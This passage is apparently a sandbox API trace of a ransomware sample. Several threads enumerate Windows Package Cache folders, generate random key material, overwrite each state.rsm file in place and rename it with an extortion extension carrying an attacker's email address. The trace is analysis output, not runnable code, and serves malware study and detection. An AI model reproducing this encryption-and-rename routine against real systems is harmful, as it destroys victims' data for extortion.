	[0092.425] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xebbfdfc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778260
	[0092.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0092.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491be08) returned 1
	[0092.430] NtQueryInformationFile (in: FileHandle=0x1388, IoStatusBlock=0xebbfe08, FileInformation=0xebbfde0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xebbfe08, FileInformation=0xebbfde0) returned 0x0
	[0092.430] NtSetInformationFile (FileHandle=0x1388, IoStatusBlock=0xebbfe08, FileInformation=0xebbfde0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d448) returned 1
	[0092.431] FlushFileBuffers (hFile=0x1388) returned 1
	[0093.279] CloseHandle (hObject=0x1388) 

Thread:
	id = 343
	os_tid = 0x1484

	[0076.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d79130
	[0076.885] wcscpy (in: _Dest=0x2d79130, _Source="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0076.885] wcscat (in: _Dest=0x2d79130, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\"
	[0076.885] wcscat (in: _Dest=0x2d79130, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*"
	[0076.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddcc60
	[0076.885] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x2ddcc60 | out: lpFindFileData=0x2ddcc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d874b8
	[0079.944] wcscmp (_String1=".", _String2=".") returned 0
	[0079.944] FindNextFileW (in: hFindFile=0x2d874b8, lpFindFileData=0x2ddcc60 | out: lpFindFileData=0x2ddcc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.944] wcscmp (_String1="..", _String2=".") returned 1
	[0079.944] wcscmp (_String1="..", _String2="..") returned 0
	[0079.944] FindNextFileW (in: hFindFile=0x2d874b8, lpFindFileData=0x2ddcc60 | out: lpFindFileData=0x2ddcc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0079.944] wcscmp (_String1="state.rsm", _String2=".") returned 1
	[0079.944] wcscmp (_String1="state.rsm", _String2="..") returned 1
	[0079.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49861d0
	[0079.944] wcscpy (in: _Dest=0x49861d0, _Source="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0079.945] wcscat (in: _Dest=0x49861d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\"
	[0079.945] wcscat (in: _Dest=0x49861d0, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"
	[0092.386] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm")) returned 0x20
	[0092.389] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x20) returned 1
	[0092.389] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1480
	[0092.389] GetFileSizeEx (in: hFile=0x1480, lpFileSize=0xec3f8bc | out: lpFileSize=0xec3f8bc*=638) returned 1
	[0092.389] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x27a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.389] ReadFile (in: hFile=0x1480, lpBuffer=0xec3f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xec3f83c, lpOverlapped=0x0 | out: lpBuffer=0xec3f840*, lpNumberOfBytesRead=0xec3f83c*=0x4, lpOverlapped=0x0) returned 1
	[0092.390] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.391] NtQuerySystemTime (in: CurrentTime=0xec3f81c | out: CurrentTime=0xec3f81c*=132251868191346770) returned 0x0
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x5209bf
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x6cb2cbfb
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xc843a822
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x7601985a
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x9578f0b8
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x6cbf8ec1
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xfe65380b
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xcaf08aad
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xcf08e83a
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x15724e56
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x7e937725
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x2a12749b
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xbf992b40
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xdd2732df
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x6e668fe2
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x25ce9f4d
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xa1820792
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xeb96981b
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x6ab89683
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x5b88ba8e
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x4a0a0342
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x4fefc013
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xc2bedd5d
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x4a38ef80
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xd07b2732
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x9658510b
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x77054978
	[0092.391] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0xaa46531e
	[0092.392] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x2830910c
	[0092.392] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x2ba2a65d
	[0092.392] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x3f5e350d
	[0092.392] RtlRandom (in: Seed=0xec3f828 | out: Seed=0xec3f828) returned 0x43f7d356
	[0092.400] ReadFile (in: hFile=0x1480, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0xec3f818, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0xec3f818*=0x27e, lpOverlapped=0x0) returned 1
	[0092.400] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.400] WriteFile (in: hFile=0x1480, lpBuffer=0x50e30b0*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0xec3f814, lpOverlapped=0x0 | out: lpBuffer=0x50e30b0*, lpNumberOfBytesWritten=0xec3f814*=0x27e, lpOverlapped=0x0) returned 1
	[0092.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0092.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0092.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0092.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50e30b0) returned 1
	[0092.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50d68a8) returned 1
	[0092.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0092.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0092.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4781648
	[0092.422] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.422] WriteFile (in: hFile=0x1480, lpBuffer=0x4716ae0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xec3f87c, lpOverlapped=0x0 | out: lpBuffer=0x4716ae0*, lpNumberOfBytesWritten=0xec3f87c*=0x103, lpOverlapped=0x0) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0092.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0092.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d628
	[0092.435] wcscpy (in: _Dest=0x491d628, _Source="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"
	[0092.436] wcscat (in: _Dest=0x491d628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.436] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xec3f834, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778260
	[0092.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0092.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c8b0) returned 1
	[0092.441] NtQueryInformationFile (in: FileHandle=0x1480, IoStatusBlock=0xec3f840, FileInformation=0xec3f818, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xec3f840, FileInformation=0xec3f818) returned 0x0
	[0092.441] NtSetInformationFile (FileHandle=0x1480, IoStatusBlock=0xec3f840, FileInformation=0xec3f818, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d628) returned 1
	[0092.442] FlushFileBuffers (hFile=0x1480) returned 1
	[0093.280] CloseHandle (hObject=0x1480) 

Thread:
	id = 344
	os_tid = 0x1488

	[0076.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d78bd8
	[0076.887] wcscpy (in: _Dest=0x2d78bd8, _Source="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0076.887] wcscat (in: _Dest=0x2d78bd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\"
	[0076.887] wcscat (in: _Dest=0x2d78bd8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*"
	[0076.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddcec8
	[0076.887] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2ddcec8 | out: lpFindFileData=0x2ddcec8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87278
	[0079.944] wcscmp (_String1=".", _String2=".") returned 0
	[0079.944] FindNextFileW (in: hFindFile=0x2d87278, lpFindFileData=0x2ddcec8 | out: lpFindFileData=0x2ddcec8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.944] wcscmp (_String1="..", _String2=".") returned 1
	[0079.944] wcscmp (_String1="..", _String2="..") returned 0
	[0079.944] FindNextFileW (in: hFindFile=0x2d87278, lpFindFileData=0x2ddcec8 | out: lpFindFileData=0x2ddcec8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0079.944] wcscmp (_String1="state.rsm", _String2=".") returned 1
	[0079.944] wcscmp (_String1="state.rsm", _String2="..") returned 1
	[0079.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986e48
	[0079.944] wcscpy (in: _Dest=0x4986e48, _Source="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0079.944] wcscat (in: _Dest=0x4986e48, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\"
	[0079.944] wcscat (in: _Dest=0x4986e48, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"
	[0092.387] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm")) returned 0x20
	[0092.387] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x20) returned 1
	[0092.387] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13b4
	[0092.387] GetFileSizeEx (in: hFile=0x13b4, lpFileSize=0xecbf794 | out: lpFileSize=0xecbf794*=750) returned 1
	[0092.387] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x2ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.387] ReadFile (in: hFile=0x13b4, lpBuffer=0xecbf718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xecbf714, lpOverlapped=0x0 | out: lpBuffer=0xecbf718*, lpNumberOfBytesRead=0xecbf714*=0x4, lpOverlapped=0x0) returned 1
	[0092.411] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bc8
	[0092.411] NtQuerySystemTime (in: CurrentTime=0xecbf6f4 | out: CurrentTime=0xecbf6f4*=132251868191503046) returned 0x0
	[0092.411] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xad881013
	[0092.411] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xc8a242e3
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x2a6f2acb
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x334bdd21
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xd3bd7379
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xd83f6b3d
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x76a1f7fd
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x1740a24b
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x7fa28d68
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x40a9c060
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xf11d4341
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x3067b67a
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xdf6afec6
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xbc336805
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xd48aadc0
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x829e31e4
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xf56d741e
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x86cff7c5
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xffa4aa1d
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x71bfe72a
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xb9d3d919
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x47e84652
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xfdd77a2d
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x4e5fc7b8
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xc9e8d933
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xc418123b
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xa99cfd88
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0xba459cc0
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x69c81b58
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x16df9ba0
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x85658a66
	[0092.412] RtlRandom (in: Seed=0xecbf700 | out: Seed=0xecbf700) returned 0x7cf62fe7
	[0092.421] ReadFile (in: hFile=0x13b4, lpBuffer=0x51088c8, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0xecbf6f0, lpOverlapped=0x0 | out: lpBuffer=0x51088c8*, lpNumberOfBytesRead=0xecbf6f0*=0x2ee, lpOverlapped=0x0) returned 1
	[0092.421] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.421] WriteFile (in: hFile=0x13b4, lpBuffer=0x51150d0*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0xecbf6ec, lpOverlapped=0x0 | out: lpBuffer=0x51150d0*, lpNumberOfBytesWritten=0xecbf6ec*=0x2ee, lpOverlapped=0x0) returned 1
	[0092.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0092.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0092.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51150d0) returned 1
	[0092.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x51088c8) returned 1
	[0092.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0092.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa898) returned 1
	[0092.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4731a88
	[0092.432] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.432] WriteFile (in: hFile=0x13b4, lpBuffer=0x47174b8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xecbf754, lpOverlapped=0x0 | out: lpBuffer=0x47174b8*, lpNumberOfBytesWritten=0xecbf754*=0x103, lpOverlapped=0x0) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47174b8) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
